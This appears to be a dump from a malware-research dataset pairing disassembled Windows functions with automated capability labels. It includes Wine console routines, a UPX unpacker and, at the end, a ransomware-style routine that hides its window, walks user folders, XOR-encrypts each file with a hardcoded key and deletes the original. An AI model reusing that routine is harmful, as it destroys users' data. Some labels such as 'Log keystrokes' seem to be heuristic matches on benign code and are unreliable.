joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405ea0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x5c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x30], eax
test byte [0x415058], 8
jne 0x406010
test esi, esi
je 0x405fea
mov ecx, dword [edx + 0x1c]
mov ebx, dword [edx + 0x20]
mov eax, dword [edx + 0x18]
lea edi, [ecx + esi]
cmp ebx, edi
jae 0x405f13
lea ecx, [esi + ebx*2]
mov dword [ebp - 0x34], edx
lea ecx, [ecx + ecx*4]
mov dword [esp], eax
shl ecx, 2
mov dword [esp + 4], ecx
call dword [sym.imp.ucrtbase.dll_realloc]
test eax, eax
je 0x4060bb
mov edx, dword [ebp - 0x34]
mov ecx, dword [edx + 0x20]
mov dword [edx + 0x18], eax
lea ecx, [esi + ecx*2]
mov dword [edx + 0x20], ecx
mov ecx, dword [edx + 0x1c]
lea ecx, [ecx + ecx*4]
mov dword [ebp - 0x34], edx
lea ecx, [eax + ecx*4]
lea eax, [esi + esi*4]
shl eax, 2
mov dword [esp + 8], eax
mov edi, dword [ebp - 0x2c]
mov dword [esp], ecx
mov dword [esp + 4], edi
call sym._memcpy
mov edx, dword [ebp - 0x34]
test byte [edx + 4], 1
je 0x405fe0
xor ebx, ebx
mov ecx, edi
jmp 0x405f5b
add ebx, 1
cmp ebx, esi
jae 0x405fe0
lea eax, [ebx + ebx*4]
lea edi, [ecx + eax*4]
cmp word [edi], 1
jne 0x405f50
cmp word [edi + 0xe], 3
jne 0x405f50
test byte [edi + 0x11], 1
jne 0x405f50
lea eax, [esi - 1]
mov dword [ebp - 0x2c], eax
cmp eax, ebx
je 0x405fd0
mov eax, dword [edx + 0x1c]
mov dword [ebp - 0x38], ecx
sub esi, ebx
mov ecx, dword [edx + 0x18]
lea esi, [esi + esi*4]
mov dword [ebp - 0x34], edx
add eax, ebx
lea esi, [esi*4 - 0x14]
lea eax, [eax + eax*4 + 5]
shl eax, 2
lea ecx, [ecx + eax - 0x14]
add eax, dword [edx + 0x18]
mov dword [esp + 8], esi
mov dword [esp], ecx
mov dword [esp + 4], eax
call sym._memcpy
mov esi, dword [edi + 4]
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
test esi, esi
jne 0x406048
mov esi, dword [ebp - 0x2c]
jmp 0x405f53
mov eax, dword [edi + 4]
test eax, eax
jne 0x406048
mov esi, ebx
lea esi, [esi]
mov ecx, dword [ebp - 0x30]
add dword [edx + 0x1c], esi
test ecx, ecx
jne 0x405ff8
xor eax, eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
jmp sym._process_console_input
mov dword [ebp - 0x34], edx
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0x41620b
mov dword [esp + 8], str.write_console_input
mov dword [esp + 4], 0x415058
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0
mov edx, dword [ebp - 0x34]
jmp 0x405ec8
lea eax, [ebp - 0x28]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x20]
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 8
mov dword [esp + 0x14], 0x50004c
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [edx]
mov dword [ebp - 0x34], edx
mov dword [esp], eax
call dword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
sub esp, 0x28
jmp 0x405fc7
mov eax, 0xc0000017
jmp 0x405fec
Function at 0x4060d0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
mov eax, 1
push esi
mov esi, edx
xor edx, edx
push ebx
mov ebx, ecx
sub esp, 0xbc
mov word [ebp - 0xaa], dx
mov word [ebp - 0xb8], ax
mov dword [ebp - 0xb4], 1
mov dword [ebp - 0xb0], 0x110001
mov dword [esp + 4], 0
mov dword [esp], 0x11
call sym._MapVirtualKeyW_8
mov ecx, 1
mov word [ebp - 0x96], si
mov word [ebp - 0xac], ax
sub esp, 8
mov eax, 1
mov word [ebp - 0xa4], cx
mov word [ebp - 0x9a], bx
mov dword [ebp - 0xa8], 8
mov dword [ebp - 0xa0], 1
mov word [ebp - 0x9c], ax
mov dword [esp], ebx
mov dword [esp + 4], 0
call sym._MapVirtualKeyW_8
mov word [ebp - 0x82], si
mov word [ebp - 0x98], ax
mov eax, 1
sub esp, 8
mov word [ebp - 0x90], ax
mov eax, 1
mov word [ebp - 0x86], bx
mov dword [ebp - 0x94], 8
mov dword [ebp - 0x8c], 0
mov word [ebp - 0x88], ax
mov dword [esp], ebx
mov dword [esp + 4], 0
call sym._MapVirtualKeyW_8
mov dword [ebp - 0x80], 8
mov word [ebp - 0x84], ax
mov eax, 1
sub esp, 8
mov word [ebp - 0x7c], ax
xor eax, eax
mov dword [ebp - 0x78], 0
mov word [ebp - 0x6e], ax
mov dword [ebp - 0x74], 0x110001
mov dword [esp + 4], 0
mov dword [esp], 0x11
call sym._MapVirtualKeyW_8
mov dword [ebp - 0x6c], 0
mov word [ebp - 0x70], ax
sub esp, 8
lea eax, [ebp - 0xb8]
mov dword [esp], edi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
mov dword [esp + 4], eax
call sym._write_console_input
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x406250
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, edx
mov edx, 1
push esi
mov esi, eax
mov eax, 1
push ebx
mov ebx, ecx
sub esp, 0xbc
mov word [ebp - 0xb0], dx
mov word [ebp - 0xaa], di
mov word [ebp - 0xae], cx
mov word [ebp - 0xb8], ax
mov dword [ebp - 0xb4], 1
mov dword [esp], ecx
mov dword [esp + 4], 0
call sym._MapVirtualKeyW_8
mov ecx, 1
mov word [ebp - 0x96], di
mov word [ebp - 0xac], ax
sub esp, 8
mov eax, 1
mov word [ebp - 0xa4], cx
mov word [ebp - 0x9a], bx
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa0], 0
mov word [ebp - 0x9c], ax
mov dword [esp], ebx
mov dword [esp + 4], 0
call sym._MapVirtualKeyW_8
mov dword [ebp - 0x94], 0
mov word [ebp - 0x98], ax
sub esp, 8
lea eax, [ebp - 0xb8]
mov dword [esp], esi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 2
mov dword [esp + 4], eax
call sym._write_console_input
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4107d0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 1
push esi
mov esi, ecx
push ebx
mov ebx, edx
sub esp, 0x15c
mov dword [ebp - 0x13c], eax
movzx eax, word [ebp + 8]
mov word [ebp - 0x12c], di
lea edi, [ebp - 0x118]
mov word [ebp - 0x124], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x128], edx
shr eax, 0x10
mov word [ebp - 0x122], cx
mov dword [ebp - 0x140], eax
and ax, 0xff
mov word [ebp - 0x120], ax
xor eax, eax
mov word [ebp - 0x11e], ax
mov dword [esp], edi
call sym._GetKeyboardState_4
movsx edx, byte [ebp - 0x108]
sub esp, 4
shr edx, 0x1f
shl edx, 4
cmp byte [ebp - 0x76], 0
jns 0x410851
or edx, 8
cmp byte [ebp - 0x75], 0
jns 0x41085a
or edx, 4
cmp byte [ebp - 0x74], 0
jns 0x410863
or edx, 2
cmp byte [ebp - 0x73], 0
jns 0x41086c
or edx, 1
movzx eax, byte [ebp - 0x88]
movzx ecx, byte [ebp - 0x104]
and eax, 1
and ecx, 1
shl ecx, 7
shl eax, 5
or eax, ecx
movzx ecx, byte [ebp - 0x87]
and ecx, 1
shl ecx, 6
or eax, ecx
or eax, edx
mov edx, eax
or dh, 1
test dword [ebp + 8], 0x1000000
cmovne eax, edx
mov dword [ebp - 0x11c], eax
test ebx, ebx
jne 0x410900
movzx eax, word [0x4190e0]
xor ecx, ecx
mov word [0x4190e0], cx
mov word [ebp - 0x11e], ax
lea eax, [ebp - 0x12c]
mov dword [esp + 0xc], 1
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
call sym._write_console_input
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea eax, [ebp - 0x130]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov eax, dword [ebp - 0x140]
mov dword [esp], esi
mov dword [esp + 4], eax
call sym._ToUnicode_24
sub eax, 1
sub esp, 0x18
cmp eax, 1
jbe 0x410958
xor eax, eax
xor edx, edx
mov word [0x4190e0], ax
mov word [ebp - 0x11e], dx
jmp 0x4108c9
movzx eax, word [ebp - 0x130]
mov word [0x4190e0], ax
mov word [ebp - 0x11e], ax
jmp 0x4108c9
Function at 0x410c90
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x130
mov esi, dword [ebp + 8]
test byte [eax + 4], 0x10
je 0x410d95
mov ebx, eax
mov eax, 2
mov dword [ebp - 0x118], edx
mov word [ebp - 0x11c], ax
mov eax, ecx
and eax, 1
test cl, 0x10
je 0x410cc9
or eax, 4
mov dword [ebp - 0x114], eax
test cl, 2
je 0x410cdd
or eax, 2
mov dword [ebp - 0x114], eax
test cl, 8
je 0x410ceb
or eax, 8
mov dword [ebp - 0x114], eax
test cl, 4
je 0x410cf9
or eax, 0x10
mov dword [ebp - 0x114], eax
cmp esi, 4
je 0x410de0
lea eax, [ebp - 0x108]
mov dword [esp], eax
call sym._GetKeyboardState_4
movsx edx, byte [ebp - 0xf8]
sub esp, 4
shr edx, 0x1f
shl edx, 4
cmp byte [ebp - 0x66], 0
js 0x410dd0
cmp byte [ebp - 0x65], 0
js 0x410db8
cmp byte [ebp - 0x64], 0
js 0x410da8
cmp byte [ebp - 0x63], 0
js 0x410da0
movzx eax, byte [ebp - 0x78]
movzx ecx, byte [ebp - 0xf4]
mov dword [ebp - 0x10c], esi
and eax, 1
and ecx, 1
shl ecx, 7
shl eax, 5
or eax, ecx
movzx ecx, byte [ebp - 0x77]
and ecx, 1
shl ecx, 6
or eax, ecx
or eax, edx
mov dword [ebp - 0x110], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 0xc], 1
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._write_console_input
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
or edx, 1
jmp 0x410d40
or edx, 2
cmp byte [ebp - 0x63], 0
jns 0x410d40
jmp 0x410da0
or edx, 4
cmp byte [ebp - 0x64], 0
jns 0x410d3a
jmp 0x410da8
or edx, 8
cmp byte [ebp - 0x65], 0
jns 0x410d34
jmp 0x410db8
xor cx, cx
or ecx, eax
mov dword [ebp - 0x114], ecx
jmp 0x410d02
Function at 0x413cb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x413d0b
cmp byte [esi + ebx - 1], 0xa
je 0x413cdf
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x419204], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x4147a0
Capabilities:
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
Function at 0xb74b20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x555000]
push edi
or ebp, 0xffffffff
jmp 0xb74b42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xb74b49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb74b38
mov eax, 1
add ebx, ebx
jne 0xb74b5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xb74b6c
jne 0xb74b8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb74b8b
dec eax
add ebx, ebx
jne 0xb74b78
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xb74b50
add ebx, ebx
jne 0xb74b87
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xb74bdd
xor ecx, ecx
sub eax, 3
jb 0xb74ba3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xb74c12
sar eax, 1
mov ebp, eax
jmp 0xb74bae
add ebx, ebx
jne 0xb74bae
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb74b7c
inc ecx
add ebx, ebx
jne 0xb74bbc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb74b7c
add ebx, ebx
jne 0xb74bc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xb74bbe
jne 0xb74bda
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xb74bbe
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xb74bfc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xb74bee
jmp 0xb74b3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xb74bfc
add edi, ecx
jmp 0xb74b3e
pop esi
mov edi, esi
mov ecx, 0x48ad
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xb74c1a
cmp byte [edi], 0xb
jne 0xb74c1a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xb74c1f
lea edi, [esi + 0x770000]
mov eax, dword [edi]
or eax, eax
je 0xb74c8e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x774de8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x774ed8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xb74c4c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x774edc]
or eax, eax
je 0xb74c88
mov dword [ebx], eax
add ebx, 4
jmp 0xb74c69
call dword [esi + 0x774eec]
mov ebp, dword [esi + 0x774ee0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xb74cc2
sub esp, 0xffffff80
jmp 0x4d0d08
Function at 0x41712b
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x425458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408d85
mov dword [ebp - 0x14], eax
cmp dword [0x448758], esi
jne 0x41721e
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4171ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4172fe
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4172fe
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4172fe
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x448758], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x44875c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x448760], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x448768], eax
test eax, eax
je 0x41721b
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x448764], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x417243
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x417236
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x417258
push 4
pop eax
jmp 0x417300
cmp dword [ebp - 0x14], esi
je 0x417258
push dword [0x448758]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41723d
mov eax, dword [0x448764]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4172b6
cmp dword [0x448768], edi
je 0x4172b6
push eax
call ebx
push dword [0x448768]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4172b6
test eax, eax
je 0x4172b6
call ecx
test eax, eax
je 0x4172ab
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4172ab
test byte [ebp - 8], 1
jne 0x4172b6
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4172e6
mov eax, dword [0x44875c]
cmp eax, edi
je 0x4172e3
push eax
call ebx
test eax, eax
je 0x4172e3
call eax
mov esi, eax
test esi, esi
je 0x4172e3
mov eax, dword [0x448760]
cmp eax, edi
je 0x4172e3
push eax
call ebx
test eax, eax
je 0x4172e3
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x448758]
call ebx
test eax, eax
je 0x4172fe
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x417300
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406f4b
mov esp, ebp
pop ebp
ret
Function at 0x401110
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
xor eax, eax
xorps xmm0, xmm0
push edi
mov edi, dword [ebp + 8]
movlpd qword [ebp - 8], xmm0
jb 0x40115e
ja 0x40112c
test edi, edi
je 0x40115e
push ebx
mov ebx, dword [ebp - 4]
push esi
mov esi, dword [ebp - 8]
push 0
push dword [ebp + 0x10]
push ebx
push esi
call fcn.00401690
mov ecx, dword [ebp + 0x14]
mov al, byte [eax + ecx]
mov ecx, dword [ebp + 0xc]
xor byte [esi + ecx], al
add esi, 1
adc ebx, 0
test ebx, ebx
jb 0x401134
ja 0x40115c
cmp esi, edi
jb 0x401134
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x401170
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
mov eax, dword [0x403038]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
mov ecx, edi
mov dword [ebp - 0x464], edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401192
sub ecx, edx
cmp ecx, 0x101
jbe 0x4011b5
or eax, 0xffffffff
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401604
mov esp, ebp
pop ebp
ret
push esi
lea ecx, [ebp - 0x20c]
mov esi, edi
mov eax, ecx
mov edx, 0x104
sub esi, eax
jmp 0x4011d0
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x4011ee
movzx eax, word [esi + ecx]
test ax, ax
je 0x4011ee
mov word [ecx], ax
add ecx, 2
dec edx
jne 0x4011d0
jmp 0x4011f2
test edx, edx
jne 0x4011f5
sub ecx, 2
xor eax, eax
push 0x4023b0
mov word [ecx], ax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00401000
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x460], eax
cmp eax, 0xffffffff
jne 0x401241
pop esi
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401604
mov esp, ebp
pop ebp
ret
push ebx
test byte [ebp - 0x45c], 0x14
jne 0x40132b
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401254
sub ecx, edx
lea edx, [ebp - 0x430]
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x401266
sub edx, esi
lea eax, [ecx + 0xa]
add eax, edx
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
mov ebx, eax
add esp, 4
mov esi, ebx
mov ecx, edi
sub esi, edi
mov dl, byte [ecx]
lea ecx, [ecx + 1]
mov byte [esi + ecx - 1], dl
test dl, dl
jne 0x401286
lea edx, [ebp - 0x430]
mov esi, edx
jmp 0x4012a0
mov al, byte [edx]
inc edx
test al, al
jne 0x4012a0
sub edx, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4012b0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x2e
rep movsb byte es:[edi], byte [esi]
push ebx
call dword [sym.imp.MSVCR120.dll_strrchr]
add esp, 8
test eax, eax
je 0x401309
mov ecx, 0x4023b8
inc eax
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401300
test dl, dl
je 0x4012fc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401300
add eax, 2
add ecx, 2
test dl, dl
jne 0x4012e0
xor eax, eax
jmp 0x401305
sbb eax, eax
or eax, 1
test eax, eax
je 0x40131f
push ebx
call fcn.00401400
add esp, 4
test eax, eax
jne 0x40131f
push ebx
call fcn.004014a0
add esp, 4
mov edi, dword [ebp - 0x464]
mov eax, dword [ebp - 0x460]
lea ecx, [ebp - 0x45c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
mov eax, dword [ebp - 0x460]
jne 0x401242
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x460]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
mov eax, esi
pop ebx
pop esi
xor ecx, ebp
pop edi
call fcn.00401604
mov esp, ebp
pop ebp
ret
Function at 0x401370
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0x4023a8
push dword [ebp + 8]
call dword [sym.imp.MSVCR120.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x401396
or eax, 0xffffffff
or edx, eax
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push esi
mov esi, dword [sym.imp.MSVCR120.dll_fseek]
push 2
push 0
push edi
call esi
push edi
call dword [sym.imp.MSVCR120.dll_ftell]
push 0
cdq
push 0
push edi
mov ebx, eax
mov dword [ebp - 4], edx
call esi
push ebx
call dword [sym.imp.MSVCR120.dll_malloc]
mov ecx, dword [ebp + 0xc]
add esp, 0x20
mov esi, dword [ebp - 4]
mov dword [ecx], eax
test esi, esi
jl 0x4013e3
jg 0x4013d5
test ebx, ebx
je 0x4013e3
push edi
push ebx
push 1
push eax
call dword [sym.imp.MSVCR120.dll_fread]
add esp, 0x10
push edi
call dword [sym.imp.MSVCR120.dll_fclose]
add esp, 4
mov edx, esi
mov eax, ebx
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x401400
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push 0x4023a8
push dword [ebp + 8]
call dword [sym.imp.MSVCR120.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x401426
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push 2
push 0
push ebx
call dword [sym.imp.MSVCR120.dll_fseek]
push ebx
call dword [sym.imp.MSVCR120.dll_ftell]
push 0
cdq
push 0
push ebx
mov dword [ebp - 4], eax
mov esi, edx
call dword [sym.imp.MSVCR120.dll_fseek]
add esp, 0x1c
test esi, esi
pop esi
jg 0x40146b
jl 0x40145a
cmp dword [ebp - 4], 8
jae 0x40146b
push ebx
call dword [sym.imp.MSVCR120.dll_fclose]
add esp, 4
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push 1
lea eax, [ebp - 0xc]
push 8
push eax
call dword [sym.imp.MSVCR120.dll_fread]
push ebx
call dword [sym.imp.MSVCR120.dll_fclose]
add esp, 0x14
cmp dword [ebp - 0xc], 0x1f8b39ae
jne 0x401464
cmp dword [ebp - 8], 0xba7cdbf3
jne 0x401464
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4014a0
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [ebp + 8]
push esi
call fcn.00401400
add esp, 4
test eax, eax
jne 0x4015a5
push ebx
push edi
lea eax, [ebp - 4]
push eax
push esi
call fcn.00401370
mov ebx, eax
mov edi, edx
mov eax, dword [ebp - 4]
add esp, 8
mov dword [ebp - 8], ebx
test edi, edi
jl 0x401599
jg 0x4014e6
test ebx, ebx
je 0x401599
push str.MrBadgersXORencryptionKey
push 0x1a
push eax
push ebx
call fcn.00401110
add ebx, 0x60
push ebx
adc edi, 0
mov dword [ebp - 0xc], edi
call dword [sym.imp.MSVCR120.dll_malloc]
movdqu xmm0, xmmword [0x402348]
mov edi, eax
push dword [ebp - 8]
push dword [ebp - 4]
movdqu xmmword [edi], xmm0
lea eax, [edi + 0x60]
movdqu xmm0, xmmword [0x402358]
push eax
movdqu xmmword [edi + 0x10], xmm0
movdqu xmm0, xmmword [0x402368]
movdqu xmmword [edi + 0x20], xmm0
movdqu xmm0, xmmword [0x402378]
movdqu xmmword [edi + 0x30], xmm0
movdqu xmm0, xmmword [0x402388]
movdqu xmmword [edi + 0x40], xmm0
movdqu xmm0, xmmword [0x402398]
movdqu xmmword [edi + 0x50], xmm0
call sub.MSVCR120.dll_memcpy
add esp, 0x20
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x4023ac
push esi
call dword [sym.imp.MSVCR120.dll_fopen]
mov esi, eax
push esi
push ebx
push 1
push edi
call dword [sym.imp.MSVCR120.dll_fwrite]
push esi
call dword [sym.imp.MSVCR120.dll_fclose]
push edi
call dword [sym.imp.MSVCR120.dll_free]
mov eax, dword [ebp - 4]
add esp, 0x20
push eax
call dword [sym.imp.MSVCR120.dll_free]
add esp, 4
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4015b0
Capabilities:
Hide graphical window

Disassembly:
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push str.C:UsersIvorVirusDocuments_
call fcn.00401170
push str.C:UsersIvorVirusMusic_
call fcn.00401170
push str.C:UsersIvorVirusPictures_
call fcn.00401170
push str.C:UsersIvorVirusVideos_
call fcn.00401170
push str.C:UsersIvorVirusDesktop_
call fcn.00401170
add esp, 0x14
push 0x7530
call esi
jmp 0x4015c6